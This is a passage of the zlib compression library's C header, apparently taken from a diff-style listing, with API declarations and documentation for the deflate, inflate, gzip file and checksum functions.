was enough output space; if deflate returns with Z_OK, this function must be
|
||||||
|
called again with Z_FINISH and more output space (updated avail_out) but no
|
||||||
|
more input data, until it returns with Z_STREAM_END or an error. After
|
||||||
|
deflate has returned Z_STREAM_END, the only possible operations on the
|
||||||
|
stream are deflateReset or deflateEnd.
|
||||||
|
|
||||||
|
Z_FINISH can be used immediately after deflateInit if all the compression
|
||||||
|
is to be done in a single step. In this case, avail_out must be at least
|
||||||
|
0.1% larger than avail_in plus 12 bytes. If deflate does not return
|
||||||
|
Z_STREAM_END, then it must be called again as described above.
|
||||||
|
|
||||||
|
deflate() sets strm->adler to the adler32 checksum of all input read
|
||||||
|
so far (that is, total_in bytes).
|
||||||
|
|
||||||
|
deflate() may update data_type if it can make a good guess about
|
||||||
|
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
|
||||||
|
binary. This field is only for information purposes and does not affect
|
||||||
|
the compression algorithm in any manner.
|
||||||
|
|
||||||
|
deflate() returns Z_OK if some progress has been made (more input
|
||||||
|
processed or more output produced), Z_STREAM_END if all input has been
|
||||||
|
consumed and all output has been produced (only when flush is set to
|
||||||
|
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
|
||||||
|
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
|
||||||
|
(for example avail_in or avail_out was zero).
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
All dynamically allocated data structures for this stream are freed.
|
||||||
|
This function discards any unprocessed input and does not flush any
|
||||||
|
pending output.
|
||||||
|
|
||||||
|
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
|
||||||
|
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
|
||||||
|
prematurely (some input or output was discarded). In the error case,
|
||||||
|
msg may be set but then points to a static string (which must not be
|
||||||
|
deallocated).
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
|
||||||
|
|
||||||
|
Initializes the internal stream state for decompression. The fields
|
||||||
|
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
|
||||||
|
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
|
||||||
|
value depends on the compression method), inflateInit determines the
|
||||||
|
compression method from the zlib header and allocates all data structures
|
||||||
|
accordingly; otherwise the allocation will be deferred to the first call of
|
||||||
|
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
|
||||||
|
use default allocation functions.
|
||||||
|
|
||||||
|
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||||
|
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
|
||||||
|
version assumed by the caller. msg is set to null if there is no error
|
||||||
|
message. inflateInit does not perform any decompression apart from reading
|
||||||
|
the zlib header if present: this will be done by inflate(). (So next_in and
|
||||||
|
avail_in may be modified, but next_out and avail_out are unchanged.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
|
||||||
|
/*
|
||||||
|
inflate decompresses as much data as possible, and stops when the input
|
||||||
|
buffer becomes empty or the output buffer becomes full. It may some
|
||||||
|
introduce some output latency (reading input without producing any output)
|
||||||
|
except when forced to flush.
|
||||||
|
|
||||||
|
The detailed semantics are as follows. inflate performs one or both of the
|
||||||
|
following actions:
|
||||||
|
|
||||||
|
- Decompress more input starting at next_in and update next_in and avail_in
|
||||||
|
accordingly. If not all input can be processed (because there is not
|
||||||
|
enough room in the output buffer), next_in is updated and processing
|
||||||
|
will resume at this point for the next call of inflate().
|
||||||
|
|
||||||
|
- Provide more output starting at next_out and update next_out and avail_out
|
||||||
|
accordingly. inflate() provides as much output as possible, until there
|
||||||
|
is no more input data or no more space in the output buffer (see below
|
||||||
|
about the flush parameter).
|
||||||
|
|
||||||
|
Before the call of inflate(), the application should ensure that at least
|
||||||
|
one of the actions is possible, by providing more input and/or consuming
|
||||||
|
more output, and updating the next_* and avail_* values accordingly.
|
||||||
|
The application can consume the uncompressed output when it wants, for
|
||||||
|
example when the output buffer is full (avail_out == 0), or after each
|
||||||
|
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
|
||||||
|
must be called again after making room in the output buffer because there
|
||||||
|
might be more output pending.
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
|
||||||
|
output as possible to the output buffer. The flushing behavior of inflate is
|
||||||
|
not specified for values of the flush parameter other than Z_SYNC_FLUSH
|
||||||
|
and Z_FINISH, but the current implementation actually flushes as much output
|
||||||
|
as possible anyway.
|
||||||
|
|
||||||
|
inflate() should normally be called until it returns Z_STREAM_END or an
|
||||||
|
error. However if all decompression is to be performed in a single step
|
||||||
|
(a single call of inflate), the parameter flush should be set to
|
||||||
|
Z_FINISH. In this case all pending input is processed and all pending
|
||||||
|
output is flushed; avail_out must be large enough to hold all the
|
||||||
|
uncompressed data. (The size of the uncompressed data may have been saved
|
||||||
|
by the compressor for this purpose.) The next operation on this stream must
|
||||||
|
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
|
||||||
|
is never required, but can be used to inform inflate that a faster routine
|
||||||
|
may be used for the single inflate() call.
|
||||||
|
|
||||||
|
If a preset dictionary is needed at this point (see inflateSetDictionary
|
||||||
|
below), inflate sets strm-adler to the adler32 checksum of the
|
||||||
|
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
|
||||||
|
it sets strm->adler to the adler32 checksum of all output produced
|
||||||
|
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
|
||||||
|
an error code as described below. At the end of the stream, inflate()
|
||||||
|
checks that its computed adler32 checksum is equal to that saved by the
|
||||||
|
compressor and returns Z_STREAM_END only if the checksum is correct.
|
||||||
|
|
||||||
|
inflate() returns Z_OK if some progress has been made (more input processed
|
||||||
|
or more output produced), Z_STREAM_END if the end of the compressed data has
|
||||||
|
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
|
||||||
|
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
|
||||||
|
corrupted (input stream not conforming to the zlib format or incorrect
|
||||||
|
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
|
||||||
|
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
|
||||||
|
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
|
||||||
|
case, the application may then call inflateSync to look for a good
|
||||||
|
compression block.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
All dynamically allocated data structures for this stream are freed.
|
||||||
|
This function discards any unprocessed input and does not flush any
|
||||||
|
pending output.
|
||||||
|
|
||||||
|
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
|
||||||
|
was inconsistent. In the error case, msg may be set but then points to a
|
||||||
|
static string (which must not be deallocated).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Advanced functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
The following functions are needed only in some special applications.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
|
||||||
|
int level,
|
||||||
|
int method,
|
||||||
|
int windowBits,
|
||||||
|
int memLevel,
|
||||||
|
int strategy));
|
||||||
|
|
||||||
|
This is another version of deflateInit with more compression options. The
|
||||||
|
fields next_in, zalloc, zfree and opaque must be initialized before by
|
||||||
|
the caller.
|
||||||
|
|
||||||
|
The method parameter is the compression method. It must be Z_DEFLATED in
|
||||||
|
this version of the library.
|
||||||
|
|
||||||
|
The windowBits parameter is the base two logarithm of the window size
|
||||||
|
(the size of the history buffer). It should be in the range 8..15 for this
|
||||||
|
version of the library. Larger values of this parameter result in better
|
||||||
|
compression at the expense of memory usage. The default value is 15 if
|
||||||
|
deflateInit is used instead.
|
||||||
|
|
||||||
|
The memLevel parameter specifies how much memory should be allocated
|
||||||
|
for the internal compression state. memLevel=1 uses minimum memory but
|
||||||
|
is slow and reduces compression ratio; memLevel=9 uses maximum memory
|
||||||
|
for optimal speed. The default value is 8. See zconf.h for total memory
|
||||||
|
usage as a function of windowBits and memLevel.
|
||||||
|
|
||||||
|
The strategy parameter is used to tune the compression algorithm. Use the
|
||||||
|
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
|
||||||
|
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
|
||||||
|
string match). Filtered data consists mostly of small values with a
|
||||||
|
somewhat random distribution. In this case, the compression algorithm is
|
||||||
|
tuned to compress them better. The effect of Z_FILTERED is to force more
|
||||||
|
Huffman coding and less string matching; it is somewhat intermediate
|
||||||
|
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
|
||||||
|
the compression ratio but not the correctness of the compressed output even
|
||||||
|
if it is not set appropriately.
|
||||||
|
|
||||||
|
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||||
|
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
|
||||||
|
method). msg is set to null if there is no error message. deflateInit2 does
|
||||||
|
not perform any compression: this will be done by deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
|
||||||
|
const Bytef *dictionary,
|
||||||
|
uInt dictLength));
|
||||||
|
/*
|
||||||
|
Initializes the compression dictionary from the given byte sequence
|
||||||
|
without producing any compressed output. This function must be called
|
||||||
|
immediately after deflateInit, deflateInit2 or deflateReset, before any
|
||||||
|
call of deflate. The compressor and decompressor must use exactly the same
|
||||||
|
dictionary (see inflateSetDictionary).
|
||||||
|
|
||||||
|
The dictionary should consist of strings (byte sequences) that are likely
|
||||||
|
to be encountered later in the data to be compressed, with the most commonly
|
||||||
|
used strings preferably put towards the end of the dictionary. Using a
|
||||||
|
dictionary is most useful when the data to be compressed is short and can be
|
||||||
|
predicted with good accuracy; the data can then be compressed better than
|
||||||
|
with the default empty dictionary.
|
||||||
|
|
||||||
|
Depending on the size of the compression data structures selected by
|
||||||
|
deflateInit or deflateInit2, a part of the dictionary may in effect be
|
||||||
|
discarded, for example if the dictionary is larger than the window size in
|
||||||
|
deflate or deflate2. Thus the strings most likely to be useful should be
|
||||||
|
put at the end of the dictionary, not at the front.
|
||||||
|
|
||||||
|
Upon return of this function, strm->adler is set to the Adler32 value
|
||||||
|
of the dictionary; the decompressor may later use this value to determine
|
||||||
|
which dictionary has been used by the compressor. (The Adler32 value
|
||||||
|
applies to the whole dictionary even if only a subset of the dictionary is
|
||||||
|
actually used by the compressor.)
|
||||||
|
|
||||||
|
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
|
||||||
|
parameter is invalid (such as NULL dictionary) or the stream state is
|
||||||
|
inconsistent (for example if deflate has already been called for this stream
|
||||||
|
or if the compression method is bsort). deflateSetDictionary does not
|
||||||
|
perform any compression: this will be done by deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
|
||||||
|
z_streamp source));
|
||||||
|
/*
|
||||||
|
Sets the destination stream as a complete copy of the source stream.
|
||||||
|
|
||||||
|
This function can be useful when several compression strategies will be
|
||||||
|
tried, for example when there are several ways of pre-processing the input
|
||||||
|
data with a filter. The streams that will be discarded should then be freed
|
||||||
|
by calling deflateEnd. Note that deflateCopy duplicates the internal
|
||||||
|
compression state which can be quite large, so this strategy is slow and
|
||||||
|
can consume lots of memory.
|
||||||
|
|
||||||
|
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||||
|
(such as zalloc being NULL). msg is left unchanged in both source and
|
||||||
|
destination.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
This function is equivalent to deflateEnd followed by deflateInit,
|
||||||
|
but does not free and reallocate all the internal compression state.
|
||||||
|
The stream will keep the same compression level and any other attributes
|
||||||
|
that may have been set by deflateInit2.
|
||||||
|
|
||||||
|
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent (such as zalloc or state being NULL).
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
|
||||||
|
int level,
|
||||||
|
int strategy));
|
||||||
|
/*
|
||||||
|
Dynamically update the compression level and compression strategy. The
|
||||||
|
interpretation of level and strategy is as in deflateInit2. This can be
|
||||||
|
used to switch between compression and straight copy of the input data, or
|
||||||
|
to switch to a different kind of input data requiring a different
|
||||||
|
strategy. If the compression level is changed, the input available so far
|
||||||
|
is compressed with the old level (and may be flushed); the new level will
|
||||||
|
take effect only at the next call of deflate().
|
||||||
|
|
||||||
|
Before the call of deflateParams, the stream state must be set as for
|
||||||
|
a call of deflate(), since the currently available input may have to
|
||||||
|
be compressed and flushed. In particular, strm->avail_out must be non-zero.
|
||||||
|
|
||||||
|
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
|
||||||
|
if strm->avail_out was zero.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
|
||||||
|
int windowBits));
|
||||||
|
|
||||||
|
This is another version of inflateInit with an extra parameter. The
|
||||||
|
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
|
||||||
|
before by the caller.
|
||||||
|
|
||||||
|
The windowBits parameter is the base two logarithm of the maximum window
|
||||||
|
size (the size of the history buffer). It should be in the range 8..15 for
|
||||||
|
this version of the library. The default value is 15 if inflateInit is used
|
||||||
|
instead. If a compressed stream with a larger window size is given as
|
||||||
|
input, inflate() will return with the error code Z_DATA_ERROR instead of
|
||||||
|
trying to allocate a larger window.
|
||||||
|
|
||||||
|
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||||
|
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
|
||||||
|
memLevel). msg is set to null if there is no error message. inflateInit2
|
||||||
|
does not perform any decompression apart from reading the zlib header if
|
||||||
|
present: this will be done by inflate(). (So next_in and avail_in may be
|
||||||
|
modified, but next_out and avail_out are unchanged.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
|
||||||
|
const Bytef *dictionary,
|
||||||
|
uInt dictLength));
|
||||||
|
/*
|
||||||
|
Initializes the decompression dictionary from the given uncompressed byte
|
||||||
|
sequence. This function must be called immediately after a call of inflate
|
||||||
|
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
|
||||||
|
can be determined from the Adler32 value returned by this call of
|
||||||
|
inflate. The compressor and decompressor must use exactly the same
|
||||||
|
dictionary (see deflateSetDictionary).
|
||||||
|
|
||||||
|
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
|
||||||
|
parameter is invalid (such as NULL dictionary) or the stream state is
|
||||||
|
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
|
||||||
|
expected one (incorrect Adler32 value). inflateSetDictionary does not
|
||||||
|
perform any decompression: this will be done by subsequent calls of
|
||||||
|
inflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
Skips invalid compressed data until a full flush point (see above the
|
||||||
|
description of deflate with Z_FULL_FLUSH) can be found, or until all
|
||||||
|
available input is skipped. No output is provided.
|
||||||
|
|
||||||
|
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
|
||||||
|
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
|
||||||
|
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
|
||||||
|
case, the application may save the current current value of total_in which
|
||||||
|
indicates where valid compressed data was found. In the error case, the
|
||||||
|
application may repeatedly call inflateSync, providing more input each time,
|
||||||
|
until success or end of the input data.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
This function is equivalent to inflateEnd followed by inflateInit,
|
||||||
|
but does not free and reallocate all the internal decompression state.
|
||||||
|
The stream will keep attributes that may have been set by inflateInit2.
|
||||||
|
|
||||||
|
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent (such as zalloc or state being NULL).
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/* utility functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
The following utility functions are implemented on top of the
|
||||||
|
basic stream-oriented functions. To simplify the interface, some
|
||||||
|
default options are assumed (compression level and memory usage,
|
||||||
|
standard memory allocation functions). The source code of these
|
||||||
|
utility functions can easily be modified if you need special options.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
|
||||||
|
const Bytef *source, uLong sourceLen));
|
||||||
|
/*
|
||||||
|
Compresses the source buffer into the destination buffer. sourceLen is
|
||||||
|
the byte length of the source buffer. Upon entry, destLen is the total
|
||||||
|
size of the destination buffer, which must be at least 0.1% larger than
|
||||||
|
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
|
||||||
|
compressed buffer.
|
||||||
|
This function can be used to compress a whole file at once if the
|
||||||
|
input file is mmap'ed.
|
||||||
|
compress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||||
|
buffer.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
|
||||||
|
const Bytef *source, uLong sourceLen,
|
||||||
|
int level));
|
||||||
|
/*
|
||||||
|
Compresses the source buffer into the destination buffer. The level
|
||||||
|
parameter has the same meaning as in deflateInit. sourceLen is the byte
|
||||||
|
length of the source buffer. Upon entry, destLen is the total size of the
|
||||||
|
destination buffer, which must be at least 0.1% larger than sourceLen plus
|
||||||
|
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
|
||||||
|
|
||||||
|
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||||
|
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
|
||||||
|
Z_STREAM_ERROR if the level parameter is invalid.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
|
||||||
|
const Bytef *source, uLong sourceLen));
|
||||||
|
/*
|
||||||
|
Decompresses the source buffer into the destination buffer. sourceLen is
|
||||||
|
the byte length of the source buffer. Upon entry, destLen is the total
|
||||||
|
size of the destination buffer, which must be large enough to hold the
|
||||||
|
entire uncompressed data. (The size of the uncompressed data must have
|
||||||
|
been saved previously by the compressor and transmitted to the decompressor
|
||||||
|
by some mechanism outside the scope of this compression library.)
|
||||||
|
Upon exit, destLen is the actual size of the compressed buffer.
|
||||||
|
This function can be used to decompress a whole file at once if the
|
||||||
|
input file is mmap'ed.
|
||||||
|
|
||||||
|
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||||
|
buffer, or Z_DATA_ERROR if the input data was corrupted.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
typedef voidp gzFile;
|
||||||
|
|
||||||
|
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
|
||||||
|
/*
|
||||||
|
Opens a gzip (.gz) file for reading or writing. The mode parameter
|
||||||
|
is as in fopen ("rb" or "wb") but can also include a compression level
|
||||||
|
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
|
||||||
|
Huffman only compression as in "wb1h". (See the description
|
||||||
|
of deflateInit2 for more information about the strategy parameter.)
|
||||||
|
|
||||||
|
gzopen can be used to read a file which is not in gzip format; in this
|
||||||
|
case gzread will directly read from the file without decompression.
|
||||||
|
|
||||||
|
gzopen returns NULL if the file could not be opened or if there was
|
||||||
|
insufficient memory to allocate the (de)compression state; errno
|
||||||
|
can be checked to distinguish the two cases (if errno is zero, the
|
||||||
|
zlib error is Z_MEM_ERROR). */
|
||||||
|
|
||||||
|
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
|
||||||
|
/*
|
||||||
|
gzdopen() associates a gzFile with the file descriptor fd. File
|
||||||
|
descriptors are obtained from calls like open, dup, creat, pipe or
|
||||||
|
fileno (in the file has been previously opened with fopen).
|
||||||
|
The mode parameter is as in gzopen.
|
||||||
|
The next call of gzclose on the returned gzFile will also close the
|
||||||
|
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
|
||||||
|
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
|
||||||
|
gzdopen returns NULL if there was insufficient memory to allocate
|
||||||
|
the (de)compression state.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
|
||||||
|
/*
|
||||||
|
Dynamically update the compression level or strategy. See the description
|
||||||
|
of deflateInit2 for the meaning of these parameters.
|
||||||
|
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
|
||||||
|
opened for writing.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
|
||||||
|
/*
|
||||||
|
Reads the given number of uncompressed bytes from the compressed file.
|
||||||
|
If the input file was not in gzip format, gzread copies the given number
|
||||||
|
of bytes into the buffer.
|
||||||
|
gzread returns the number of uncompressed bytes actually read (0 for
|
||||||
|
end of file, -1 for error). */
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
|
||||||
|
const voidp buf, unsigned len));
|
||||||
|
/*
|
||||||
|
Writes the given number of uncompressed bytes into the compressed file.
|
||||||
|
gzwrite returns the number of uncompressed bytes actually written
|
||||||
|
(0 in case of error).
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
|
||||||
|
/*
|
||||||
|
Converts, formats, and writes the args to the compressed file under
|
||||||
|
control of the format string, as in fprintf. gzprintf returns the number of
|
||||||
|
uncompressed bytes actually written (0 in case of error).
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
|
||||||
|
/*
|
||||||
|
Writes the given null-terminated string to the compressed file, excluding
|
||||||
|
the terminating null character.
|
||||||
|
gzputs returns the number of characters written, or -1 in case of error.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
|
||||||
|
/*
|
||||||
|
Reads bytes from the compressed file until len-1 characters are read, or
|
||||||
|
a newline character is read and transferred to buf, or an end-of-file
|
||||||
|
condition is encountered. The string is then terminated with a null
|
||||||
|
character.
|
||||||
|
gzgets returns buf, or Z_NULL in case of error.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
|
||||||
|
/*
|
||||||
|
Writes c, converted to an unsigned char, into the compressed file.
|
||||||
|
gzputc returns the value that was written, or -1 in case of error.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Reads one byte from the compressed file. gzgetc returns this byte
|
||||||
|
or -1 in case of end of file or error.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
|
||||||
|
/*
|
||||||
|
Flushes all pending output into the compressed file. The parameter
|
||||||
|
flush is as in the deflate() function. The return value is the zlib
|
||||||
|
error number (see function gzerror below). gzflush returns Z_OK if
|
||||||
|
the flush parameter is Z_FINISH and all output could be flushed.
|
||||||
|
gzflush should be called only when strictly necessary because it can
|
||||||
|
degrade compression.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
|
||||||
|
z_off_t offset, int whence));
|
||||||
|
/*
|
||||||
|
Sets the starting position for the next gzread or gzwrite on the
|
||||||
|
given compressed file. The offset represents a number of bytes in the
|
||||||
|
uncompressed data stream. The whence parameter is defined as in lseek(2);
|
||||||
|
the value SEEK_END is not supported.
|
||||||
|
If the file is opened for reading, this function is emulated but can be
|
||||||
|
extremely slow. If the file is opened for writing, only forward seeks are
|
||||||
|
supported; gzseek then compresses a sequence of zeroes up to the new
|
||||||
|
starting position.
|
||||||
|
|
||||||
|
gzseek returns the resulting offset location as measured in bytes from
|
||||||
|
the beginning of the uncompressed stream, or -1 in case of error, in
|
||||||
|
particular if the file is opened for writing and the new starting position
|
||||||
|
would be before the current position.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Rewinds the given file. This function is supported only for reading.
|
||||||
|
|
||||||
|
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Returns the starting position for the next gzread or gzwrite on the
|
||||||
|
given compressed file. This position represents a number of bytes in the
|
||||||
|
uncompressed data stream.
|
||||||
|
|
||||||
|
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Returns 1 when EOF has previously been detected reading the given
|
||||||
|
input stream, otherwise zero.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Flushes all pending output if necessary, closes the compressed file
|
||||||
|
and deallocates all the (de)compression state. The return value is the zlib
|
||||||
|
error number (see function gzerror below).
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
|
||||||
|
/*
|
||||||
|
Returns the error message for the last error which occurred on the
|
||||||
|
given compressed file. errnum is set to zlib error number. If an
|
||||||
|
error occurred in the file system and not in the compression library,
|
||||||
|
errnum is set to Z_ERRNO and the application may consult errno
|
||||||
|
to get the exact error code.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* checksum functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
These functions are not related to compression but are exported
|
||||||
|
anyway because they might be useful in applications using the
|
||||||
|
compression library.
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
|
||||||
|
|
||||||
|
/*
|
||||||
|
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
|
||||||
|
return the updated checksum. If buf is NULL, this function returns
|
||||||
|
the required initial value for the checksum.
|
||||||
|
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
|
||||||
|
much faster. Usage example:
|
||||||
|
|
||||||
|
uLong adler = adler32(0L, Z_NULL, 0);
|
||||||
|
|
||||||
|
while (read_buffer(buffer, length) != EOF) {
|
||||||
|
adler = adler32(adler, buffer, length);
|
||||||
|
}
|
||||||
|
if (adler != original_adler) error();
|
||||||
|
*/
|
||||||
|
|
||||||
|
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
|
||||||
|
/*
|
||||||
|
Update a running crc with the bytes buf[0..len-1] and return the updated
|
||||||
|
crc. If buf is NULL, this function returns the required initial value
|
||||||
|
for the crc. Pre- and post-conditioning (one's complement) is performed
|
||||||
|
within this function so it shouldn't be done by the application.
|
||||||
|
Usage example:
|
||||||
|
|
||||||
|
uLong crc = crc32(0L, Z_NULL, 0);
|
||||||
|
|
||||||
|
while (read_buffer(buffer, length) != EOF) {
|
||||||
|
crc = crc32(crc, buffer, length);
|
||||||
|
}
|
||||||
|
if (crc != original_crc) error();
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/* various hacks, don't look :) */
|
||||||
|
|
||||||
|
/* deflateInit and inflateInit are macros to allow checking the zlib version
|
||||||
|
* and the compiler's view of z_stream:
|
||||||
|
*/
|
||||||
|
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
|
||||||
|
int windowBits, int memLevel,
|
||||||
|
int strategy, const char *version,
|
||||||
|
int stream_size));
|
||||||
|
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
#define deflateInit(strm, level) \
|
||||||
|
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define inflateInit(strm) \
|
||||||
|
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
|
||||||
|
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
|
